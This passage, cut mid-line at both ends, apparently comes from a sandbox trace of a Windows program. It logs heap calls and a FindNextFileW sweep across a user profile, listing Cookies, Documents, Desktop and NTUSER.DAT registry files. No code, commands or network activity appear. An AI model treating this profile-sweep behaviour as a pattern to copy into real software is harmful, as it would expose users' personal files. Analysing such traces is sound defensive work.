Flags=0x0, Size=0x50) returned 0x6147028 [0117.264] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0117.264] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1c) returned 0x6164fa0 [0117.264] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146fd0 | out: hHeap=0x35b0000) returned 1 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.265] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dd60 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368ddc8 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x38) returned 0x6183888 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.265] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x54) returned 0x6168a08 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f20 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dd60 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de30 | out: hHeap=0x35b0000) returned 1 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6183888 | out: hHeap=0x35b0000) returned 1 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146fd0 | out: hHeap=0x35b0000) returned 1 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0117.265] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x70) returned 0x6145c10 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.265] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147188 [0117.265] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f20 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6168a08 | out: hHeap=0x35b0000) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146fd0 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0117.266] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7e96c970, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x7e96c970, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xa8) returned 0x6132d20 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f20 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dd60 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147238 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de30 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147188 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6145c10 | out: hHeap=0x35b0000) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146fd0 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0117.266] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77267d70, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77267d70, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x76) returned 0x360bd48 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368ddc8 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de30 | out: hHeap=0x35b0000) returned 1 [0117.266] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x360bd48 | out: hHeap=0x35b0000) returned 1 [0117.266] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0117.266] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x76) returned 0x360bd48 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xfc) returned 0x360f820 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de98 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147188 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368df00 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f20 | out: hHeap=0x35b0000) returned 1 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147238 | out: hHeap=0x35b0000) returned 1 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6132d20 | out: hHeap=0x35b0000) returned 1 [0117.267] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368ddc8 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de30 | out: hHeap=0x35b0000) returned 1 [0117.267] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x360bd48 | out: hHeap=0x35b0000) returned 1 [0117.267] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x76) returned 0x360bd48 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dd60 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de30 | out: hHeap=0x35b0000) returned 1 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x360bd48 | out: hHeap=0x35b0000) returned 1 [0117.268] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147238 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147238 | out: hHeap=0x35b0000) returned 1 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147028 | out: hHeap=0x35b0000) returned 1 [0117.268] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7ac0 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x16c) returned 0x361c840 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7b28 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147238 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f20 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147290 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7b90 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7bf8 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x61e7c60 [0117.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61472e8 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146f78 | out: hHeap=0x35b0000) returned 1 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6146fd0 | out: hHeap=0x35b0000) returned 1 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147188 | out: hHeap=0x35b0000) returned 1 [0117.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368df00 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x360f820 | out: hHeap=0x35b0000) returned 1 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dd60 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7ac0 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de30 | out: hHeap=0x35b0000) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x772b4030, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x772b4030, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147188 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368de30 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368ddc8 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368df00 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de30 | out: hHeap=0x35b0000) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.269] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147130 | out: hHeap=0x35b0000) returned 1 [0117.269] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61471e0 | out: hHeap=0x35b0000) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x94abbdb0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x94abbdb0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x94abbdb0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0117.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0117.270] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0117.270] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x773e4b30, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x773e4b30, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61471e0 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147130 [0117.270] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x214) returned 